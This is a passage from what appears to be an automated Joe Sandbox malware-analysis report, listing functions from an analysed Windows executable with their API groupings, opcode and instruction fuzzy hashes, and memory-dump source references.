                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$ClientMessageMoveRectScreenSend
                                                            • String ID:
                                                            • API String ID: 1249313431-0
                                                            • Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                            • Instruction ID: 60a409bf6884fda634994d08238a3012498d05d4e466591148f2ab1f2999b6c1
                                                            • Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                            • Instruction Fuzzy Hash: 3251A0B6A05A4286EB60CF25D4806BD3765F785B98F505172DFAD93788EF39E842C300
                                                            Function 00007FF69DBABAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateDirectory$AttributesErrorFileLast
                                                            • String ID:
                                                            • API String ID: 2267087916-0
                                                            • Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
                                                            • Instruction ID: 2319e96a8e5ac4dd044487e12c7401954084edd7fd1656a4435bb964c6ed9067
                                                            • Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
                                                            • Instruction Fuzzy Hash: 3851C0B2B05A1185EF608B22D8505AC63F5FB46BA4B944176DEAD937ACFF3CD542C300
                                                            Function 00007FF69DBB5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateHardLink$DeleteErrorFileLast
                                                            • String ID:
                                                            • API String ID: 3321077145-0
                                                            • Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
                                                            • Instruction ID: 2d8a5ab6c53f46a11bdf7572e37b3b61e0790d9893ea826d94054cbf4644a2bc
                                                            • Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
                                                            • Instruction Fuzzy Hash: 6D41CFA6B04B4681DB24EF26D49106DB7A0FB99FD0B489472DF8E8776ADE3CE4409350
                                                            Function 00007FF69DBDF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Rect$BeepClientMessageScreenWindow
                                                            • String ID:
                                                            • API String ID: 1352109105-0
                                                            • Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                            • Instruction ID: bba24e7e2e94fdeabd84cb57e8a1f4db3534677b194dcb4b033a5bcd0da1f49d
                                                            • Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                            • Instruction Fuzzy Hash: 934172B2A09A8685EA20CF15D88457937B4FB49B98F5541B6DB9DC3764EF38E442C300
                                                            Function 00007FF69DBDAA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Menu$Item$DrawInfoInsert
                                                            • String ID:
                                                            • API String ID: 3076010158-0
                                                            • Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                            • Instruction ID: fc18bcc058a8a0592f90393212359c8b563754fc65f360723e2c9fb82acec44f
                                                            • Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                            • Instruction Fuzzy Hash: 64419CB2B00A4186EB24CF66D4402AD37A9FB59B98F144076CE8DA3758DF38E846C790
                                                            Function 00007FF69DB6C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
                                                            • String ID:
                                                            • API String ID: 4141327611-0
                                                            • Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                            • Instruction ID: 239355d04275580d2d7f9c8ad73c93da259363da990dc953bf67a154b17918de
                                                            • Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                            • Instruction Fuzzy Hash: 734184B2A0D78246FB719B11D14437D7A90EF52BB0FA44171DAC986ADDFF2EE8418701
                                                            Function 00007FF69DBA8B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: KeyboardState$InputMessagePostSend
                                                            • String ID:
                                                            • API String ID: 432972143-0
                                                            • Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                            • Instruction ID: 408ad83755ddbfdd4d0b46cfdbe52fc31a328e54b48cb480d9b55a46f48d14b7
                                                            • Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
                                                            • Instruction Fuzzy Hash: CC4118F6A0D68241F7308B259410A7926E0FB46BA0F9505B2EADE53ADDFE3CD485CB40
                                                            Function 00007FF69DBDC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LongWindow$InvalidateMessageRectSend
                                                            • String ID:
                                                            • API String ID: 3340791633-0
                                                            • Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                            • Instruction ID: e4697a7d075d4585ca88bd055fbfc78d153784caa916526d56c087403447b5a5
                                                            • Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                            • Instruction Fuzzy Hash: CC41A2F1E0854686FB748B15D4403FC6760EB8AB95F2851B3D68D837D9EE3CE8829700
                                                            Function 00007FF69DBA8CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: KeyboardState$InputMessagePostSend
                                                            • String ID:
                                                            • API String ID: 432972143-0
                                                            • Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                            • Instruction ID: 17b861f305d6074a295fa2021be6ae865ba2ed7e949dace49154fae4d2588ce2
                                                            • Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
                                                            • Instruction Fuzzy Hash: 053119A6A0C68146EB308F2694107BD2BE0FB66B60F9502B9DADD43BD9EF3CD551C740
                                                            Function 00007FF69DBBD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Internet$CloseConnectHandleOpen
                                                            • String ID:
                                                            • API String ID: 1463438336-0
                                                            • Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                            • Instruction ID: f85a4dcd121f7f3ed522b8cb306ae8c0653c685fe3689ff00812b8e0b4398fe2
                                                            • Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                            • Instruction Fuzzy Hash: 4A3172B2A09B4282F774DB16E49077DA361FB5AB94F084175DA8E47B8CEF3CD0548B40
                                                            Function 00007FF69DB73D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF69DB6A27B,?,?,?,00007FF69DB6A236), ref: 00007FF69DB73DB1
                                                            • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF69DB6A27B,?,?,?,00007FF69DB6A236), ref: 00007FF69DB73E13
                                                            • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF69DB6A27B,?,?,?,00007FF69DB6A236), ref: 00007FF69DB73E4D
                                                            • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF69DB6A27B,?,?,?,00007FF69DB6A236), ref: 00007FF69DB73E77
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ByteCharEnvironmentMultiStringsWide$Free
                                                            • String ID:
                                                            • API String ID: 1557788787-0
                                                            • Opcode ID: 25a861fe2411cd7b7e0da0a01173a2db480df9a66baf5c5800189b1476d27112
                                                            • Instruction ID: a681bf0b336160d8168526425183fcef8acbd90f197469297ee4f71d6b7f9a8c
                                                            • Opcode Fuzzy Hash: 25a861fe2411cd7b7e0da0a01173a2db480df9a66baf5c5800189b1476d27112
                                                            • Instruction Fuzzy Hash: 01218F61B19B9182E6309F12A440029B6A5FB99FD0F4841B4DEDEA3F9CEF3CE5528310
                                                            Function 00007FF69DBDF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$Long
                                                            • String ID:
                                                            • API String ID: 847901565-0
                                                            • Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                            • Instruction ID: 4a9ae17e4284c909e3e78ff588e47f8edee937ff807831962ac54f54c5d5fe8f
                                                            • Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                            • Instruction Fuzzy Hash: AE21BBA1E0C78185E6308F1598443397790EF86BA4F555372DAAD87BD8EF3CE442C340
                                                            Function 00007FF69DBE108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                            • String ID:
                                                            • API String ID: 2864067406-0
                                                            • Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                            • Instruction ID: 6549c167c121b7b601abfb0371e8dca625698df319cf3cfd2f6423c710a738f9
                                                            • Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                            • Instruction Fuzzy Hash: 64316066A08A4581EB20CF16E4543B9A360FB85FD4F6442B2DA8D83BA8EF3CD446C750
                                                            Function 00007FF69DBA50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: lstrcmpilstrcpylstrlen
                                                            • String ID: cdecl
                                                            • API String ID: 4031866154-3896280584
                                                            • Opcode ID: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
                                                            • Instruction ID: 0f607fefce6addd7bf1ea92ea9fa5ea7dbf47fe8f1d46a1b8292def9ff068ae2
                                                            • Opcode Fuzzy Hash: 9543eb87236cbe86fa524af2d72e3452b2187adb33a089d16778c3ede46c2dfa
                                                            • Instruction Fuzzy Hash: EB21D3A170874185EA20AF16E45027873E1EF99FD0B494174DB9EC7399EF3CE451C304
                                                            Function 00007FF69DB3932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateMessageObjectSendStockWindow
                                                            • String ID:
                                                            • API String ID: 3970641297-0
                                                            • Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                            • Instruction ID: 5462b9811a7c39b6746fb1ea4437b4fd818a876a58a88930907aaad2e111c02e
                                                            • Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                            • Instruction Fuzzy Hash: 9D213CB2A09BC58BE7B48B15E4447AAB7A0FB89784F444175DA8D83B58EF7CD494CB00
                                                            Function 00007FF69DB62FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _ctrlfp
                                                            • String ID:
                                                            • API String ID: 697997973-0
                                                            • Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                            • Instruction ID: 2b6dc9df349fd252ca23d62d405dcdcca81a9083aa102791874dc3b1f76fabe1
                                                            • Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                            • Instruction Fuzzy Hash: E611C661D0C54682E6219B78914117FB671EF9B7A0FA84275FBC98A7ADEE2DD4408A00
                                                            Function 00007FF69DBACF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 2979156933-0
                                                            • Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                            • Instruction ID: 72750fa78b0770cbfdd40be9ce9a4288ffafd1117d6ba095fe3843c5976c72a9
                                                            • Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                            • Instruction Fuzzy Hash: 7121C972A0C78185E720CF16B84016AB7E1FB45BE4F448176EADD83759EF3CD1069740
                                                            Function 00007FF69DBDFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClientRectScreen$InvalidateWindow
                                                            • String ID:
                                                            • API String ID: 357397906-0
                                                            • Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
                                                            • Instruction ID: 698903e832faa7d60f261fdf6bb5d91d2d4c48c9ee3e9f61a6cea6e28fe75391
                                                            • Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
